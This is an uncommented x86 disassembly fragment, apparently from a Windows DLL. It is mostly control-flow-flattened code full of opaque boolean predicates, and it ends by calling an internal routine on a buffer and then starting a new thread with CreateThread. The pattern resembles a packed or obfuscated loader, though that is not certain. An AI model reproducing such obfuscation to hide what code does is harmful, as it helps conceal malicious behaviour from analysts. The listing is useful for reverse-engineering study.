mov edx, ecx
xor edx, 0x6c0fdc42
xor ecx, 0x176bd8f4
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x849bfb49
and eax, 0x7b6404b6
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0x77e9631d
and edx, eax
and eax, 0xddaddd3b
mov esi, ecx
and esi, 0x225222c4
or esi, eax
xor esi, 0x225222c4
or esi, ecx
and ecx, 0x77e9631d
or edx, ecx
xor edx, 0x77e9631d
not esi
or esi, edx
not esi
test esi, esi
sete cl
setne dl
cmp dword [0x1004f90c], 0xa
setge ah
setl al
xor ah, al
and ah, ah
xor ah, al
mov ch, ah
xor ch, 1
mov dh, dl
or dh, al
xor al, dl
xor al, 1
and al, dl
xor al, 1
mov bl, dh
or bl, al
xor al, dh
xor al, 1
mov dh, bl
xor dh, al
or al, bl
xor al, 1
or al, dh
mov dh, cl
and dh, ch
mov bl, ah
and bl, dl
or bl, dh
mov dh, bl
xor dh, 1
or dl, ch
xor cl, ch
and cl, ch
and ch, dh
and bl, ah
or bl, ch
xor dh, bl
and dh, bl
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
and ah, dh
xor dh, 1
mov dl, dh
xor dl, cl
and dl, dh
and dh, cl
or dh, ah
xor dl, 1
mov cl, dh
xor cl, 1
mov ah, dl
xor ah, cl
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
and ah, cl
or cl, dl
xor cl, 1
and dl, dh
or dl, ah
or dl, cl
mov ecx, edx
xor cl, 1
and dl, cl
xor dl, 1
mov ah, dl
xor ah, cl
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov bh, dl
and bh, ah
xor bh, 1
or bh, ah
xor bh, 1
or bh, dl
mov dl, bh
xor dl, 1
mov byte [esp + 4], al
mov ecx, eax
xor cl, 1
mov ch, dl
and ch, bh
xor ch, 1
or ch, bh
xor ch, 1
or ch, dl
xor ch, 1
or ch, dl
mov dh, dl
mov ah, ch
xor ah, 1
mov dl, al
and dl, cl
xor dl, 1
or dl, cl
mov byte [esp], dl
and ch, ah
xor ch, 1
mov bl, ah
xor bl, ch
or ch, ah
xor ch, 1
or ch, bl
mov ah, ch
xor ah, 1
mov bl, ch
xor bl, bh
mov byte [esp + 8], bl
and bl, ch
mov al, bh
and al, ah
mov byte [esp + 0xc], al
or ah, dh
mov byte [esp + 0x10], ah
and ch, dh
mov ah, dh
mov al, dh
movzx edx, byte [esp + 4]
and al, dl
mov dh, cl
and ah, cl
mov byte [esp + 0x14], ah
and dh, bh
or dh, al
mov byte [esp + 0x18], dh
mov cl, byte [esp + 8]
and cl, bh
mov ah, dh
xor ah, dl
and bh, dl
mov al, dl
movzx edx, byte [esp]
and al, dl
xor al, 1
mov dh, dl
xor dh, al
or al, dl
xor al, 1
or al, dh
xor cl, 1
xor bl, 1
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
or ch, byte [esp + 0xc]
xor ch, 1
mov dh, byte [esp + 0x10]
mov dl, dh
xor dl, ch
or ch, dh
xor ch, 1
or ch, dl
mov dl, ch
xor dl, 1
mov dh, bl
xor dh, 1
and dl, dh
or dh, ch
and ch, bl
xor dh, 1
or ch, dl
or ch, dh
xor al, 1
mov dl, ch
or dl, al
mov dh, dl
xor dh, 1
xor al, ch
or al, dh
and dh, al
xor al, 1
mov ch, al
xor ch, dl
and ch, al
and al, dl
or al, dh
or al, ch
and ah, byte [esp + 0x18]
or bh, byte [esp + 0x14]
mov dl, ah
xor dl, 1
mov ch, dl
and ch, ah
xor ch, 1
mov dh, ah
xor dh, ch
or ch, ah
xor ch, 1
or ch, dh
mov ah, ch
and ch, bh
xor bh, 1
xor ah, 1
and ah, bh
or bh, dl
xor bh, 1
or bh, ch
or bh, ah
mov dl, bh
xor dl, 1
and dl, bh
xor dl, 1
mov ah, dl
xor ah, bh
or dl, bh
xor dl, 1
or dl, ah
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
mov ch, cl
mov ah, al
and cl, al
xor al, 1
and ch, al
and ah, dl
or ah, ch
xor ah, 1
or ah, al
and al, dl
or cl, al
xor cl, 1
mov al, ah
xor al, cl
or cl, ah
mov edx, ecx
xor dl, al
test cl, 1
mov edi, 0x6545dfb
mov ecx, 0x77d7df4e
cmovne edi, ecx
test al, 1
cmove edi, ecx
test dl, 1
mov eax, 0x6545dfb
cmove edi, eax
jmp 0x10011930
cmp byte [esp + 0x34], 0
mov edi, 0x991f60a4
mov eax, 0xf488d0e4
cmovne edi, eax
jmp 0x10011930
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffaa
push dword [esp + 0x34]
mov esi, dword [esp + 0x34]
push esi
call section..text
add esp, 0xc
mov edi, 0x5868cc31
push 0
push 0
push esi
push 0x1000fa10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + 0x40], eax
jmp 0x10011930
mov edi, 0x49db7fe1
jmp 0x10011930
cmp edi, 0x798881fc
jne 0x10011930
mov ecx, dword [esp + 0x50]
xor ecx, esp
call fcn.1003b5d8
add esp, 0x54
pop esi
pop edi
pop ebx
pop ebp
ret